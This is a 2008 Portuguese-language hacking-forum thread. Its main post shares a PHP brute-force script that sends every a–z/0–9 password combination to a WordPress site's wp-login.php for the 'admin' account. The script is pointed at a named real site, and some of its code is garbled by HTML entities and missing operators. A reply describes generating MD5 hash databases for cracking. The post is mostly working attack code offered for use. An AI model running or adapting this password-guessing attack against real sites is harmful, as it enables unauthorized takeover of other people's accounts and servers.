O lado oculto da Força Bruta

Iniciado por branco, 09 de Janeiro , 2008, 02:10:21 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

branco

http://brancohat.blogspot.com/2008/01/o ... uitos.html

dessa vez vou postar aqui o código, porque no blog fico muito ruim.

<?php
class BruteForce 
{
private $possibilities;
private $positions;
private $next;
private $count;
private $socket_stream;
private $target;
private $startfrom;
private $user;


private function start_sockets() {
$this->socket_stream socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or exit("Erro ao criar sockets");
socket_connect($this->socket_stream$this->target80) or exit("Erro no connect");
}


private function send_pass($value) {
$this->start_sockets();
$header "POST /wp-login&#46;php HTTP/1&#46;1 \n";
$header &#46;= "Host&#58; "&#46; $this->target &#46;"\n";
$header &#46;= "Content-Length&#58; 65 \n";
$header &#46;= "Content-Type&#58; application/x-www-form-urlencoded \n\n";
$header &#46;= "log=" &#46; $this->user &#46; "&pwd=" &#46; $value &#46; "&wp-submit=Login+%C2%BB&redirect_to=wp-admin%2F \n\r\n\r";
socket_write($this->socket_stream$headerstrlen($header));
while ($isocket = @socket_read($this->socket_stream,10000)) {

// trata os codigos de retorno
$code_return str_split($isocket12); // versao http e codigo de erro
$code_show str_split($code_return[0&#93;, 9); // soh o codigo
if (eregi("http",$code_return[0&#93;) and eregi("200", $code_return[0&#93;)) {
echo $value &#46; " " &#46; $code_show[1&#93; &#46; "\n";
}
elseif (eregi("http",$code_return[0&#93;) and eregi("503", $code_return[0&#93;)) {
echo "Erro no servidor, repetindo senha $value \n";
sleep(10);
$this->send_pass($value);
break 1#goto label1
}

if ( (eregi("Write"$isocket) or eregi("escrever"$isocket)) == 1) {
echo "Password encontrado &#58; $value";
exit();
}
}
#label1
// usei @ porque quando o break chama #label1, o socket_stream e ja foi fexado,
// entao socket_close gera um erro, que eh escondido com @
@socket_close($this->socket_stream);

}

private function restart() {

$next $this->next;

foreach ($next as $key => $value) {
$this->calc($value);
}

}

private function calc($value) {
$possibilities $this->possibilities;

for($i=0;$i<count($possibilities);$i++) {
$this->send_pass($value&#46;$possibilities[$i&#93;);
$next[&#93; = ($value&#46;$possibilities[$i&#93;);
}


/* no if abaixo eu utilizo pass_max-2 porque quando count chega no valor de pass_max
ele entra no if e chama restart, e depois restart chama calc, isso trataria mais duas
posicoes, por isso utilizo -2, assim trataremos apenas o valor de pass_max&#46;
poderiamos reescrever o if de outra maneira, mas assim temos mais clareza
*/

$this->count++;
if ($this->count <= $this->positions-2) {
$this->next $next;
$this->restart();
}
else {
echo "Todas possibilidades de $value testadas \n";
}
}


/* passa primeira possibilidade para calc, depois zera o count, para a proxima possiblidade tambem ter pass_max de vezes
 testadas
 */
 
private function start() {
$startfrom $this->startfrom;

for($i=$startfrom;$i<count($this->possibilities);$i++) {
$this->calc($this->possibilities[$i&#93;);
$this->count 0;
}
}


public function __construct($target$user$possibilities$positions=6$startfrom=0) {
if (count($possibilities) < or empty($target) or empty($user))
exit("\narray possibilities precisa ter pelomenos um valor&#46; Tambem eh necessiario especificar o alvo e usuario&#46;");

set_time_limit(0);
$this->target $target;
$this->user $user;
$this->possibilities $possibilities;
$this->positions $positions;
$this->startfrom $startfrom;
$this->count 0;
$this->next = array();
$this->start();
}

}

$possibilities = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
$obj = new BruteForce("www&#46;codebunker&#46;org""admin"$possibilities);

?>



dessa vez eu fui um pouco além, resolvi me arriscar na matemática que sou péssimo rsrs.
se tiver erros ai, me corrijam.

foto em funcionamento : http://img516.imageshack.us/my.php?imag ... rcezf5.jpg

até,

have fun
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

rodweb

Parece interessante, quando eu terminar meus afazeres vou dar uma olhada  ;)

Alucard

Já pegando a linha de raciocinio no seu caso utiliza um vetor para gerar as strings pensei um pouco diferente... se a string 'a' equivale a 65 em ascii então se adicionar mais vai para a proxima letra.
Quando uma string chegar no z então passo para o proximo caractere fiz um exemplo de como gerar essas string e converter para md5, para poder gerar um data base boa... mas ainda não tive espaço para wpoder rodar o programa mas já deixei rodando por 20 horas e não gerou muita coisa não.



http://www.darkers.com.br/forum/index.p ... 019.0.html